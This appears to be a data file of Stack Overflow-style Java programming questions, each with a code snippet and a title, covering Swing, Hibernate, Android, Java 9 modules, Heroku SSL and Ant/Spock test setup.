__NSAutoreleaseNoPool ( ) : Object 0x10015e990 of class NSCFNumber autoreleased with no pool in place - just leaking2012-06-03 18:20:46.301 java [ 1481 : d703 ] *** __NSAutoreleaseNoPool ( ) : Object 0x100121720 of class NSConcreteValue autoreleased with no pool in place - just leaking2012-06-03 18:20:46.302 java [ 1481 : d703 ] *** __NSAutoreleaseNoPool ( ) : Object 0x10011c2f0 of class NSCFNumber autoreleased with no pool in place - just leaking2012-06-03 18:20:46.302 java [ 1481 : d703 ] *** __NSAutoreleaseNoPool ( ) : Object 0x1001ba750 of class NSConcreteValue autoreleased with no pool in place - just leaking2012-06-03 18:20:46.302 java [ 1481 : d703 ] *** __NSAutoreleaseNoPool ( ) : Object 0x100157e70 of class NSCFDictionary autoreleased with no pool in place - just leaking,No autorelease pool with JOGL +Java,"Doing the exercise 'Literature ' on https : //java-programming.mooc.fi/part-10/2-interface-comparable I discovered a very strange behavior when trying to sort key-value pairs in a HashMap , without copying anything to a TreeMap . I was supposed to add books , by making a Book class and adding them to a List . However I wanted to try without making a new class , so opted for the HashMap . My code was as follows : using .sorted ( Comparator.comparing ( bookshelf : :get ) ) was my idea of sorting them by the recommended age , which worked . However , there exists an unexpected behavior that when the book 's name is a single character ( `` A '' , '' b '' ) , the program would also sort the keys alphabetically as though i made a comparator like Comparator.comparing ( bookshelf : :get ) .thenComparing ( /*keys in keyset*/ ) but would sometimes also sort like aAbBCan anybody explain what is happening here , at compiler level or somehow let me make sense of this ?","public class MainProgram { public static void main ( String [ ] args ) { Scanner scanner = new Scanner ( System.in ) ; Map < String , Integer > bookshelf = new HashMap < > ( ) ; while ( true ) { System.out.println ( `` Input the name of the book , empty stops : `` ) ; String bookName = scanner.nextLine ( ) ; if ( bookName.equals ( `` '' ) ) { break ; } System.out.println ( `` Input the age recommendation : `` ) ; int age = Integer.valueOf ( scanner.nextLine ( ) ) ; bookshelf.put ( bookName , age ) ; } System.out.println ( bookshelf.size ( ) + `` book '' + ( bookshelf.size ( ) > 1 ? `` s '' : `` '' ) + `` in total . `` ) ; System.out.println ( `` Books : '' ) ; bookshelf.keySet ( ) .stream ( ) .sorted ( Comparator.comparing ( bookshelf : :get ) ) .forEach ( ( key ) - > System.out.println ( key + `` ( recommended for `` + bookshelf.get ( key ) + `` year-olds or older ) '' ) ) ; } } AA bb give unsorted resultsAAA bbb give semi-sorted results in one or two bucketsAAAA bbbb give semi- or completely sorted resultsAAAAA bbbbb and onward give unsorted results .",Unexpected behavior when using Comparator.comparing ( HashMap : :get ) as a comparator +Java,"My friend and I are stumped . In these two blocks of code , why is the first inner loop faster than the second inner loop ? Is this some sort of JVM optimization ? And the results : Swapped the orderings of inequalities : And the results : Insanity : doing the same thing over and over again and getting different results .","public class Test { public static void main ( String [ ] args ) { int [ ] arr = new int [ 100000000 ] ; arr [ 99999999 ] = 1 ; long t1 , t2 , t3 ; for ( int ndx = 0 ; ndx < 10 ; ndx++ ) { t1 = System.currentTimeMillis ( ) ; for ( int i = 0 ; i < arr.length ; i++ ) if ( 0 < arr [ i ] ) System.out.print ( `` '' ) ; t2 = System.currentTimeMillis ( ) ; for ( int i = 0 ; i < arr.length ; i++ ) if ( arr [ i ] > 0 ) System.out.print ( `` '' ) ; t3 = System.currentTimeMillis ( ) ; System.out.println ( t2 - t1 + '' `` + ( t3 - t2 ) ) ; } } } me @ myhost ~ $ java Test57 80154 211150 209149 209150 209150 209151 209150 210150 210149 209 public class Test { public static void main ( String [ ] args ) { int [ ] arr = new int [ 100000000 ] ; arr [ 99999999 ] = 1 ; long t1 , t2 , t3 ; for ( int ndx = 0 ; ndx < 10 ; ndx++ ) { t1 = System.currentTimeMillis ( ) ; for ( int i = 0 ; i < arr.length ; i++ ) if ( arr [ i ] > 0 ) System.out.print ( `` '' ) ; t2 = System.currentTimeMillis ( ) ; for ( int i = 0 ; i < arr.length ; i++ ) if ( 0 < arr [ i ] ) System.out.print ( `` '' ) ; t3 = System.currentTimeMillis ( ) ; System.out.println ( ( t2 - t1 ) + '' `` + ( t3 - t2 ) ) ; } } } me @ myhost ~ $ java Test56 80155 210150 209149 209151 210149 209150 209149 208149 209149 208",Java optimization : speed of inner loops inconsistent ? +Java,"When attempting to click on an item in a submenu , it is natural to quickly draw your mouse across the menu items below it . Both Windows and Mac natively handle this by putting a small delay before the a menu is opened . Swing JMenus do not handle this , and the menu the mouse briefly hovers over would be opened before the mouse reaches the intended menu item.For example , in the image below , if I tried to select Item 3 , but in the process my mouse briefly slid across Menu 2 , the Menu 1 submenu would disappear before I got to it.Does anyone have any tips or suggestions for getting around this ? My idea was to define a custom MenuUI that added a timer to its mouse handler.Here is some simple example code that illustrates my problem :","public class Thing extends JFrame { public Thing ( ) { super ( ) ; this.setSize ( new Dimension ( 500 , 500 ) ) ; final JPopupMenu pMenu = new JPopupMenu ( ) ; for ( int i = 0 ; i < 5 ; i++ ) { JMenu menu = new JMenu ( `` Menu `` + i ) ; pMenu.add ( menu ) ; for ( int j = 0 ; j < 10 ; j++ ) { menu.add ( new JMenuItem ( `` Item `` + j ) ) ; } } this.addMouseListener ( new MouseAdapter ( ) { @ Override public void mouseReleased ( MouseEvent e ) { pMenu.show ( Thing.this , e.getX ( ) , e.getY ( ) ) ; } } ) ; } public static void main ( String [ ] args ) { Thing t = new Thing ( ) ; t.setVisible ( true ) ; } }",Java Swing - Add leniency when selecting items in submenus +Java,"A solution we implemented in order to collect a large amount of heavy objects in reasonable time and without memory overflow ( I 'm speaking of objects with multiple fetchType.eager relations , to entities that themselves have eager fetched relations ) , was to first select ids of those objects , and then select the objects themselves based on these ids.Coming the time to optimise our code , we noticed ( using hibernate.show_sql=true ) that the query we used to gather those objects ( select a from A a where a.id in : ids ) is translated by JPA/Hibernate into thousands of queries of the form select a from ... endless join list ... where a.id = ? The question is the following : Why JPA/Hibernate transforms our initial query with an `` in '' clause into so many queries with `` = '' clauses . Is n't it inefficent ? If so , is there a way to prevent that ? Here 's how the query is called in our code :","Query q = this.getContext ( ) .createQuery ( `` select a from A a where a.id in : ids '' ) ; q.setParameter ( `` ids '' , idList ) ; return ( List < A > ) q.getResultList ( ) ;",JPA/Hibernate seems to convert a query with an in clause into multiple queries with = clauses +Java,"I have a stream of BiFunctions which I want to reduce to a single BiFunction.To be more specific I have a stream of BiFunctionsWhere x and y denote the types of the arguments.Assuming I have two functions I want to compose them to the functionIs this possible using Java 8 streams , and if not , what would be the most elegant way asides of just looping over all the available functions and composing them in another way ?","BiFunction < x , y , y > f ( x , y ) - > yg ( x , y ) - > y h ( x , y ) - > f ( x , g ( x , y ) )",Composition of BiFunctions +Java,"I am using boilerpipe and it seems great , but I want to output JSON . I am using the Java version and testing in NetBeans as follows : Can anyone tell me how I go about this ?",final URL url = new URL ( `` http : //mashable.com/2012/09/26/worlds-best-father-kickstarter-calendar '' ) ; System.out.println ( ArticleExtractor.INSTANCE.getText ( url ) ) ;,Boilerpipe - How do I output JSON ? +Java,"I am trying to use JPL for the interaction of Java programs and YAP Prolog . In my java file , this line is throwing an exception : Query query = new Query ( `` consult '' , new Term [ ] { new Atom ( `` test.pl '' ) } ) ; The exception is shown below : Although I did not find someone reporting the same problem in YAP , some people were having this problem with SWI , and they were advised to verify that SWI was compiled with multi-threading support . Just in case I compiled YAP with support for multithreading , but it did not help.This problem is happening only in OS X , I tried in Ubuntu and everything works fine there.Does someone know a workaround for this problem in OS X ?",Exception in thread `` main '' jpl.JPLException : this Query 's engine is not that which is attached to this threadat jpl.Query.close ( Query.java:511 ) at jpl.Util.textToTerm ( Util.java:165 ) at jpl.Query.Query1 ( Query.java:183 ) at jpl.Query. < init > ( Query.java:176 ) at Test.main ( Test.java:12 ),Exception thrown when trying to use JPL and YAP Prolog in OS X +Java,"Is there a lightweight pattern to cancel long runing method , wich replaces code like this : I know that I can make a Task class , subdivide steps to task objects , make a queue and just do tasks step by steps in loop with cancelation checking , but I 'm just wondering is there any simple code-structure pattern for sush situation .",public void longComputations ( ) { ... first step ... if ( cancelled ) { rollbackWork ( ) ; return ; } ... second step ... if ( cancelled ) { rollbackWork ( ) ; return ; } ... third step ... if ( cancelled ) { rollbackWork ( ) ; return ; } },Lightweight long-running method cancel pattern for Java +Java,"From the android development perspective , while you are programming which way do you prefer to implement for listener ? Or which way do you think is the best for readable code ? I gave two example about these things but think more complex classes such as which has more than one Listener : ) First example which is an Anonymous Class : Second example which is implementing interface :",public class SenderReceiverActivity extends Activity { Button cancelButton ; @ Overrideprotected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.sending ) ; cancelButton = ( Button ) findViewById ( R.id.button1 ) ; cancelButton.setOnClickListener ( new OnClickListener ( ) { public void onClick ( View v ) { } } ) ; } } public class SenderReceiverActivity extends Activity implements OnClickListener { Button cancelButton ; @ Overrideprotected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.sending ) ; cancelButton = ( Button ) findViewById ( R.id.button1 ) ; cancelButton.setOnClickListener ( this ) ; } public void onClick ( View v ) { } },Programming convention on Anonymous Class vs Implementing Interface +Java,"I have a Spring Boot java app that uses a self-signed certificate to communicate with the android front-end.I use a tomcat server as my container for the app : Now , I have enabled https / ssl : I have to enable SSL as I want my android frontend to communicate to my server securely . I use the technique called certificate pinning which means I add the same self-signed certificate to both my server and my android app . For any http communications between the two , the communication will be encrypted with the keys of the same certificate and hence the server and android app will be able to understand one another.When I load it into Heroku , I get errors each time I try to call the server : According to this blog by Julie : http : //juliekrueger.com/blog/ As a side note , Heroku apps are https enabled by default . The server I was installing had Tomcat configured to use https , and trying to access an endpoint was returning a code=H13 desc= '' Connection closed without response '' error . After I removed that configuration the error went away.I can fix the error by just removing the ssl / https from my tomcat server , but as I mentioned , I want to use the certificate pinning technique for secure communications.I was thinking whether it was possible to disable the SSL on heroku side but keep my tomcat server SSL active but I already contacted Heroku and they told me that disabling the piggyback SSL that comes standard with their service is not possible.I also looked at the paid alternative here called SSL Endpoint but it seems only userful for custom domains . Since all endpoints are coded within my android app and is not visible to the user , it makes no sense for me to use a custom domain . Furthermore , I do n't think it will solve my problem as its sole objective seems to be to create the custom domain : SSL Endpoint is only useful for custom domains . All default appname.herokuapp.com domains are already SSL-enabled and can be accessed by using https , for example , https : //appname.herokuapp.com.I googled for a few days now and can not seem to come up with a solution . Disabling ssl on my tomcat side would not be acceptable in my mind as it poses too much risks . I would even consider other services ( Azure etc ) if this would solve my problem.Any ideas on how I can solve this ?",compile 'org.springframework.boot : spring-boot-starter-tomcat ' TomcatEmbeddedServletContainerFactory tomcat = ( TomcatEmbeddedServletContainerFactory ) container ; tomcat.addConnectorCustomizers ( connector - > { connector.setPort ( Integer.parseInt ( serverPort ) ) ; connector.setSecure ( true ) ; connector.setScheme ( `` https '' ) ; 2015-12-11T20:04:32.424629+00:00 heroku [ router ] : at=error code=H13 desc= '' Connection closed without response '' method=GET path= '' /getfood ? postid=566348364a918a12046ce96f '' host=app.herokuapp.com request_id=bf975c13-69f3-45f5-9e04-ca6817b6c410 fwd= '' 197.89.172.181 '' dyno=web.1 connect=0ms service=4ms status=503 bytes=0,Heroku : Spring Boot Gradle app with https tomcat server and certificate pinning +Java,"I am trying to get absolute file path on java , when i use the following code : It gives the correct file path on 32-bit machine as But when i run the same on 64-bit machine it gives FileNotFound Exception ( because of Program Files ( x86 ) ) , How to get correct path regardless of OS bit . Could anybody please help .",File f = new File ( `` ..\\webapps\\demoproject\\files\\demo.pdf '' ) String absolutePath = f.getAbsolutePath ( ) ; C : \Program Files\Apache Software Foundation\Tomcat6.0\bin\..\webapps\demoproject\files\demo.pdf,How to get absolute path of file depends on windows 32-bit or 64-bit machine +Java,"I have a custom LinkedTree with children ( nodes ) , and nodes has an adjacency relationship , i.e . each node linked with previous and next one . This LinkedTree is very heavy , big , it may consist of millions of nodes.And here is a code sample : I wanted to serialize it and save it in file in order to make it persistent , but loading and writing some data may cost too expensive . So I decided to save it in MySQL , so that I could load datas from anywhere I want . I mean from the end , middle or beginning of this hierarchy.I suppose the relationship of the row should be in adjacency and parent-child relationship simultaneously . But I have no idea how to do it .","package tree ; import java.io.Serializable ; public class LinkedTree < E > implements Serializable { private int size = 0 ; private Node < E > first ; private Node < E > last ; private LinkedTree < E > children ; public LinkedTree ( ) { children = new LinkedTree < > ( ) ; } public LinkedTree ( LinkedTree < E > children ) { this.children = children ; } public void add ( E element ) { final Node < E > l = last ; final Node < E > newNode = new Node < > ( l , element , null ) ; last = newNode ; if ( l == null ) first = newNode ; else l.next = newNode ; size++ ; } public void remove ( E element ) { ... } public int size ( ) { return size ; } public static class Node < E > implements Serializable { E item ; Node < E > next ; Node < E > prev ; public Node ( Node < E > prev , E item , Node < E > next ) { this.item = item ; this.next = next ; this.prev = prev ; } public E item ( ) { return item ; } public boolean hasPrevious ( ) { return prev ! = null ; } public Node < E > previous ( ) { return prev ; } public Node < E > previous ( int target ) { Node < E > n = this ; int i = target ; while ( i -- > 0 & & n ! = null ) n = n.prev ; return n ; } public boolean hasNext ( ) { return next ! = null ; } public Node < E > next ( ) { return next ; } public E nextItem ( ) { return next.item ; } public E nextItem ( int target ) { return next ( target ) .item ( ) ; } public Node < E > next ( int target ) { Node < E > n = this ; int i = 0 ; while ( i++ < target & & n ! = null ) n = n.next ; return n ; } @ Override public int hashCode ( ) { return item ! = null ? item.hashCode ( ) : 0 ; } @ Override public boolean equals ( Object o ) { if ( this == o ) return true ; if ( o == null || getClass ( ) ! = o.getClass ( ) ) return false ; Node < ? > node = ( Node < ? > ) o ; return item ! = null ? item.equals ( node.item ) : node.item == null ; } @ Override public String toString ( ) { return item.toString ( ) ; } } }",How to store Linked Tree with children in Relational Database ? +Java,"Ok this one is really weird . Every first time my application opens a JFileChooser it throws a IOException then some icons do n't show properly.Now when I dig into the error , it seems like on one icon when it tries to read the header , it retrieve only the first 8 bytes which is not enough . I 've have checked the icons files and they all seem OK.I 've tried to override the icon file with another one that loads properly before this error but same thing.Here is my stack when breaking on this error : Here is my variable value when digging into GifImageDecoder instance.Normally , this imagedata should be way bigger . First 10 bytes is header but it only retrieve 8 bytes as you can see . After this exception , every other icon from JFileChooser does n't load properly.This is a proper call to readHeader ( ) : The buffer is fully loaded with an icon right before the icon that throws an error.Here is an exemple of where it could crash ( it happens in several part of my code , whenever I first load my system icons ) : when it enters in super ( file ) it goes there : then other thread mentioned above retrieves the icons ( cf 2nd stack of this post )","java.io.IOException at sun.awt.image.GifImageDecoder.readHeader ( GifImageDecoder.java:265 ) at sun.awt.image.GifImageDecoder.produceImage ( GifImageDecoder.java:102 ) at sun.awt.image.InputStreamImageSource.doFetch ( InputStreamImageSource.java:246 ) at sun.awt.image.ImageFetcher.fetchloop ( ImageFetcher.java:172 ) at sun.awt.image.ImageFetcher.run ( ImageFetcher.java:136 ) Daemon Thread [ Image Fetcher 0 ] ( Suspended ( exception IOException ) ) GifImageDecoder.readHeader ( ) line : 265 [ local variables unavailable ] GifImageDecoder.produceImage ( ) line : 102 [ local variables unavailable ] ByteArrayImageSource ( InputStreamImageSource ) .doFetch ( ) line : 246 ImageFetcher.fetchloop ( ) line : 172 ImageFetcher.run ( ) line : 136 [ local variables unavailable ] source ByteArrayImageSource ( id=272 ) awaitingFetch false consumers null decoder GifImageDecoder ( id=271 ) decoders GifImageDecoder ( id=271 ) imagedata ( id=307 ) [ 0 ] 71 [ 1 ] 73 [ 2 ] 70 [ 3 ] 56 [ 4 ] 57 [ 5 ] 97 [ 6 ] 16 [ 7 ] 13 [ 8 ] 10 imagelength 9 imageoffset 0 source ByteArrayImageSource ( id=208 ) awaitingFetch false consumers null decoder GifImageDecoder ( id=207 ) decoders GifImageDecoder ( id=207 ) imagedata ( id=223 ) [ 0 ... 99 ] [ 100 ... 199 ] [ 200 ... 299 ] [ 300 ... 399 ] [ 400 ... 499 ] [ 500 ... 599 ] [ 600 ... 699 ] [ 700 ... 799 ] [ 800 ... 899 ] [ 900 ... 979 ] imagelength 980 imageoffset 0 public class DirectoryBrowser extends JFileChooser { private String suffixAccepted = null ; public DirectoryBrowser ( File file , String chooserTitle , String approveOpenBtnText , String suffixAccepted ) { super ( file ) ; this.suffixAccepted = suffixAccepted ; init ( chooserTitle , approveOpenBtnText ) ; } Thread [ AWT-EventQueue-0 ] ( Suspended ) Object.wait ( long ) line : not available [ native method ] MediaTracker.waitForID ( int , long ) line : 651 ImageIcon.loadImage ( Image ) line : 234 ImageIcon. < init > ( byte [ ] ) line : 215 SwingUtilities2 $ 2.createValue ( UIDefaults ) line : 1105 UIDefaults.getFromHashtable ( Object ) line : 185 UIDefaults.get ( Object ) line : 130 MultiUIDefaults.get ( Object ) line : 44 MultiUIDefaults ( UIDefaults ) .getIcon ( Object ) line : 411 UIManager.getIcon ( Object ) line : 613 IronFileChooserUI ( BasicFileChooserUI ) .installIcons ( JFileChooser ) line : 233 IronFileChooserUI ( BasicFileChooserUI ) .installDefaults ( JFileChooser ) line : 219 IronFileChooserUI ( BasicFileChooserUI ) .installUI ( JComponent ) line : 135 IronFileChooserUI ( MetalFileChooserUI ) .installUI ( JComponent ) line : 139 DirectoryBrowser ( JComponent ) .setUI ( ComponentUI ) line : 653 DirectoryBrowser ( JFileChooser ) .updateUI ( ) line : 1757 DirectoryBrowser ( JFileChooser ) .setup ( FileSystemView ) line : 366 DirectoryBrowser ( JFileChooser ) . < init > ( File , FileSystemView ) line : 332 DirectoryBrowser ( JFileChooser ) . < init > ( File ) line : 315 DirectoryBrowser. < init > ( File , String , String , String ) line : 33 PackToIntegratePanel.choosePackPathToIntegrateFile ( ) line : 522 PackToIntegratePanel $ 1.actionPerformed ( ActionEvent ) line : 104 JButton ( AbstractButton ) .fireActionPerformed ( ActionEvent ) line : 1849 AbstractButton $ Handler.actionPerformed ( ActionEvent ) line : 2169 DefaultButtonModel.fireActionPerformed ( ActionEvent ) line : 420 DefaultButtonModel.setPressed ( boolean ) line : 258 BasicButtonListener.mouseReleased ( MouseEvent ) line : 236 JButton ( Component ) .processMouseEvent ( MouseEvent ) line : 5517 JButton ( JComponent ) .processMouseEvent ( MouseEvent ) line : 3135 JButton ( Component ) .processEvent ( AWTEvent ) line : 5282 JButton ( Container ) .processEvent ( AWTEvent ) line : 1966 JButton ( Component ) .dispatchEventImpl ( AWTEvent ) line : 3984 JButton ( Container ) .dispatchEventImpl ( AWTEvent ) line : 2024 JButton ( Component ) .dispatchEvent ( AWTEvent ) line : 3819 LightweightDispatcher.retargetMouseEvent ( Component , int , MouseEvent ) line : 4212 LightweightDispatcher.processMouseEvent ( MouseEvent ) line : 3892 LightweightDispatcher.dispatchEvent ( AWTEvent ) line : 3822 WorkbenchFrame ( Container ) .dispatchEventImpl ( AWTEvent ) line : 2010 WorkbenchFrame ( Window ) .dispatchEventImpl ( AWTEvent ) line : 1791 WorkbenchFrame ( Component ) .dispatchEvent ( AWTEvent ) line : 3819 EventQueue.dispatchEvent ( AWTEvent ) line : 463 EventDispatchThread.pumpOneEventForHierarchy ( int , Component ) line : 242 EventDispatchThread.pumpEventsForHierarchy ( int , Conditional , Component ) line : 163 EventDispatchThread.pumpEvents ( int , Conditional ) line : 157 EventDispatchThread.pumpEvents ( Conditional ) line : 149 EventDispatchThread.run ( ) line : 110",IOException when opening JFileChooser +Java,"I just started to have a look at the Java 9 module system and I was wondering whether it is possible for a class to know in which module it is located.Therefor I created the following moduleand compiled a jar file that looks likeIn package de.test , I have a class called Overview where I 'm callingHowever , the returned module object is unnamed and has no ModuleDescriptor.Am I using getModule ( ) correctly here , or is there any other way to load the module of a class ? I 'm using JDK 9 build 120 on OS X .",module de.test { exports de.test.myexport ; } > jar -- print-module-descriptor -- file=Java9Test-1.0-SNAPSHOT.jar de.test requires mandated java.base exports de.test.myexport Module module = Overview.class.getModule ( ) ;,Method getModule returning unnamed module for class in named module +Java,"Situation : I am examining filenames , the filename is stored in a String variable called str and according to the conditions checked in if statements i am setting the value of a variable called mailType .Problem : Is there any better way to do this in java that shortens my code and is memory friendly ?",if ( str.contains ( `` template '' ) ) { if ( str.contains ( `` unsupported '' ) ) mailType= '' unsupported '' ; else if ( str.contains ( `` final_result '' ) ) mailType= '' final_result '' ; else if ( str.contains ( `` process_success '' ) ) mailType= '' Process Success '' ; else if ( str.contains ( `` receive '' ) ) mailType= '' Receive '' ; else if ( str.contains ( `` sen '' ) ) mailType= '' sent '' ; else if ( str.contains ( `` welcome '' ) ) mailType= '' welcome '' ; else if ( str.contains ( `` manual '' ) ) mailType= '' Manual '' ; } else if ( str.contains ( `` properties '' ) ) { if ( str.contains ( `` unsupported '' ) ) mailType= '' unsupported '' ; else if ( str.contains ( `` final_result '' ) ) mailType= '' final_result '' ; else if ( str.contains ( `` process_success '' ) ) mailType= '' Process Success '' ; else if ( str.contains ( `` receive '' ) ) mailType= '' Receive '' ; else if ( str.contains ( `` sen '' ) ) mailType= '' sent '' ; else if ( str.contains ( `` welcome '' ) ) mailType= '' welcome '' ; else if ( str.contains ( `` manual '' ) ) mailType= '' Manual '' ; },what is the better alternative to following if-else ladder in java ? +Java,"The Android ( Open Source Project ) native launcher source code seems to be missing the following required XML layout parameters in some of its published resource files : layout_height and layout_widthMissing attributesAppsCustomizeTabHost in apps_customize_pane.xmlWorkspace in workspace.xmlthere are 13 more , including duplicates in screen-size-specific layout resourcesCompile-time exceptionsThis breaks launcher compilation , at least independent compilation , throwing errors such as : 'layout-width ' attribute should be defined'layout-height ' attribute should be definedNote : there are many other issues that need to be resolved in order compile Android launcher2 , this question is about these specific missing attributes and how come they are missing ? How does Google compile its launcher and what are the LayoutParams values ? So how is Google able to compile the code when these required attributes are missing ? Furthermore , what are the values that should be used , should they be : or wrap_content , or specific pixel values - in other words , where can I get this kind of information / what is the secret build process ?",android : layout_width= '' fill_parent '' android : layout_height= '' fill_parent '',Secret Android build process +Java,"I initialize a member variable in my Activity classthen I use it to write to Log in a long time consuming loop in doInBackground ( ) method of an anonymous AsyncTask launched from the ActivityQUESTION : When I leave Activity while Asynctask is still executing , and after Activity 's onDestroy ( ) is executed , I see in the Log that the member variable is still alive and not destroyed . Can someone explain to me how is it possible ? BOUNTY QUESTION : the member variable is still alive because , even after onDestroy ( ) , it isnt yet garbaged due to gc criteria and gc priority . This is ok.But my doubt is ifthe 'test ' member variable ( and the activity 's context ) will not garbaged until the referencing asynctask ended its stuff , thus asynctask can complete its doInBackground ( ) always and surely without crashing ( although with a temporary memory consumption ) or insteadthe 'test ' member variable will be garbaged sooner or later regardless asynctask is running , maybe resulting in an asysnctask 's crash","private String test = new String ( `` A '' ) ; new AsyncTask < Void , Void , Void > ( ) { @ Override protected void onPreExecute ( ) { } @ Override protected void onPostExecute ( Void result ) { } @ Override protected Void doInBackground ( Void ... params ) { for ( int j = 10 ; j > = 0 ; j -- ) { try { Thread.sleep ( 5000 ) ; } catch ( InterruptedException e ) { e.printStackTrace ( ) ; } Log.i ( `` DOINBACKGROUND `` , test ) ; } } .execute ( ) ;",Activity 's member scope and Asynctask +Java,"I have some Java code that provides objects from items . It limits them based on the maxNumber : It works properly , but the question is this : Is there a way of skipping the limiting when the maxNumber == 0 ? I know I could do this : But perhaps there 's a better way , does anything come to your mind ?",items.stream ( ) .map ( this : :myMapper ) .filter ( item - > item ! = null ) .limit ( maxNumber ) .collect ( Collectors.toList ( ) ) ; if ( maxNumber == 0 ) { items.stream ( ) .map ( this : :myMapper ) .filter ( item - > item ! = null ) .collect ( Collectors.toList ( ) ) ; } else { items.stream ( ) .map ( this : :myMapper ) .filter ( item - > item ! = null ) .limit ( maxNumber ) .collect ( Collectors.toList ( ) ) ; },How can I skip the limit ( number ) call with a stream when the number equals 0 ? +Java,"I 've got a netbeans project , and I 've got groovy in it as well for spock testing . When I right-click on the project and say test , it runs a task called but when I run ant test-with-groovy the tests are compiled but not run . I feel like something must be added by the netbeans ide but I have no idea what and half a day of searching has netted no results.Can anyone help me ? Here is how you can get the results I am getting : I created a simple java project with a simple main in netbeans 8.0.2then I created two test files , one a junit java file : and one a groovy based spock test : if I run the tests from netbeans , the output says it is running : but if I run that in the ant command line it does n't run any tests ( though it gives no errors either ) It does compile both test files into class files in build/test/classes.If I run ant clean test it builds both test files but does not run the groovy test , only the java test.the build-impl.xml has the definitions for test ( I wo n't include the whole file , but it is the standard one created by netbeans : here are the relevant sections I believe : ... and the test-with-groovy ant target is in the included groovy-build.xml : I must confess I do n't know what the macrodefs are really doing . But I 've tried changing **/*Test.java to **/*Test.groovy , **/*Test.class and **/Test . to no avail.Does anyone know how to make this work ? I do n't want to throw out the whole build process because I 'm actually working on a legacy project that is 6 years old with the jogl plugin and a lot of custom stuff in the ant file so I 'd like to figure out how to make this work . Thank You !","test-with-groovy package simpleantjava ; public class SimpleAntJava { public static void main ( String [ ] args ) { // TODO code application logic here System.out.println ( `` Main Ran '' ) ; } } package simpleantjava ; import org.junit.After ; import org.junit.AfterClass ; import org.junit.Before ; import org.junit.BeforeClass ; import org.junit.Test ; import static org.junit.Assert . * ; /** * * @ author vextorspace */public class SimpleAntJavaTest { public SimpleAntJavaTest ( ) { } @ BeforeClass public static void setUpClass ( ) { } @ AfterClass public static void tearDownClass ( ) { } @ Before public void setUp ( ) { } @ After public void tearDown ( ) { } /** * Test of main method , of class SimpleAntJava . */ @ Test public void testMain ( ) { System.out.println ( `` main '' ) ; String [ ] args = null ; SimpleAntJava.main ( args ) ; // TODO review the generated test code and remove the default call to fail . fail ( `` Main JUnit Test is a prototype . `` ) ; } } package simpleantjavaimport org.junit.Testimport spock.lang.Specification/** * * @ author vextorspace */class NewGroovyTest extends Specification { @ Test def `` Our groovy test should run '' ( ) { expect : true } @ Test def `` Failing tests should fail '' ( ) { expect : false } } ant -f /home/vextorspace/NetBeansProjects/SimpleAntJava -Dtest.binarytestincludes=**/*Test.class -Dtest.binaryincludes= -Dtest.binaryexcludes=**/* $ * test-with-groovy < target if= '' $ { nb.junit.single } '' name= '' -init-macrodef-junit-single '' unless= '' $ { nb.junit.batch } '' > < macrodef name= '' junit '' uri= '' http : //www.netbeans.org/ns/j2se-project/3 '' > < attribute default= '' $ { includes } '' name= '' includes '' / > < attribute default= '' $ { excludes } '' name= '' excludes '' / > < attribute default= '' ** '' name= '' testincludes '' / > < attribute default= '' '' name= '' testmethods '' / > < element name= '' customize '' optional= '' true '' / > < sequential > < property name= '' junit.forkmode '' value= '' perTest '' / > < junit dir= '' $ { work.dir } '' errorproperty= '' tests.failed '' failureproperty= '' tests.failed '' fork= '' true '' forkmode= '' $ { junit.forkmode } '' showoutput= '' true '' tempdir= '' $ { build.dir } '' > < test methods= '' @ { testmethods } '' name= '' @ { testincludes } '' todir= '' $ { build.test.results.dir } '' / > < syspropertyset > < propertyref prefix= '' test-sys-prop . `` / > < mapper from= '' test-sys-prop . * '' to= '' * '' type= '' glob '' / > < /syspropertyset > < formatter type= '' brief '' usefile= '' false '' / > < formatter type= '' xml '' / > < jvmarg value= '' -ea '' / > < customize/ > < /junit > < /sequential > < /macrodef > < /target > < target depends= '' -init-test-properties '' if= '' $ { nb.junit.batch } '' name= '' -init-macrodef-junit-batch '' unless= '' $ { nb.junit.single } '' > < macrodef name= '' junit '' uri= '' http : //www.netbeans.org/ns/j2se-project/3 '' > < attribute default= '' $ { includes } '' name= '' includes '' / > < attribute default= '' $ { excludes } '' name= '' excludes '' / > < attribute default= '' ** '' name= '' testincludes '' / > < attribute default= '' '' name= '' testmethods '' / > < element name= '' customize '' optional= '' true '' / > < sequential > < property name= '' junit.forkmode '' value= '' perTest '' / > < junit dir= '' $ { work.dir } '' errorproperty= '' tests.failed '' failureproperty= '' tests.failed '' fork= '' true '' forkmode= '' $ { junit.forkmode } '' showoutput= '' true '' tempdir= '' $ { build.dir } '' > < batchtest todir= '' $ { build.test.results.dir } '' > < fileset dir= '' $ { test.src.dir } '' excludes= '' @ { excludes } , $ { excludes } '' includes= '' @ { includes } '' > < filename name= '' @ { testincludes } '' / > < /fileset > < fileset dir= '' $ { build.test.classes.dir } '' excludes= '' @ { excludes } , $ { excludes } , $ { test.binaryexcludes } '' includes= '' $ { test.binaryincludes } '' > < filename name= '' $ { test.binarytestincludes } '' / > < /fileset > < /batchtest > < syspropertyset > < propertyref prefix= '' test-sys-prop . `` / > < mapper from= '' test-sys-prop . * '' to= '' * '' type= '' glob '' / > < /syspropertyset > < formatter type= '' brief '' usefile= '' false '' / > < formatter type= '' xml '' / > < jvmarg value= '' -ea '' / > < customize/ > < /junit > < /sequential > < /macrodef > < /target > < target depends= '' -init-macrodef-junit-init , -init-macrodef-junit-single , -init-macrodef-junit-batch '' if= '' $ { junit.available } '' name= '' -init-macrodef-junit '' / > < ! -- ======================= TEST EXECUTION SECTION ======================= -- > < target depends= '' init '' if= '' have.tests '' name= '' -pre-test-run '' > < mkdir dir= '' $ { build.test.results.dir } '' / > < /target > < target depends= '' init , compile-test , -pre-test-run '' if= '' have.tests '' name= '' -do-test-run '' > < j2seproject3 : test includes= '' $ { includes } '' testincludes= '' **/*Test.java '' / > < /target > < target depends= '' init , compile-test , -pre-test-run , -do-test-run '' if= '' have.tests '' name= '' -post-test-run '' > < fail if= '' tests.failed '' unless= '' ignore.failing.tests '' > Some tests failed ; see details above. < /fail > < /target > < target depends= '' init '' if= '' have.tests '' name= '' test-report '' / > < target depends= '' init '' if= '' netbeans.home+have.tests '' name= '' -test-browse '' / > < target depends= '' init , compile-test , -pre-test-run , -do-test-run , test-report , -post-test-run , -test-browse '' description= '' Run unit tests . '' name= '' test '' / > < target depends= '' init '' if= '' have.tests '' name= '' -pre-test-run-single '' > < mkdir dir= '' $ { build.test.results.dir } '' / > < /target > < target depends= '' init , compile-test , 